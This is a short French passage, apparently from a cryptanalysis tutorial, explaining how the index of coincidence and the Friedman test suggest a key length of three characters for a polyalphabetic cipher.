Comme on peut le voir ici, une taille de clé égale à 3 donne les IC les plus proches du français. La taille de la clé sera probablement de 3 caractères. Bien entendu, une clé de longueur multiple de 3 doit donner aussi de bons résultats. Ce test est appelé le test de Friedman.

Voilà pourquoi l'indice de coïncidence est un outil indispensable en cryptanalyse qui peut nous aider dans bien des cas.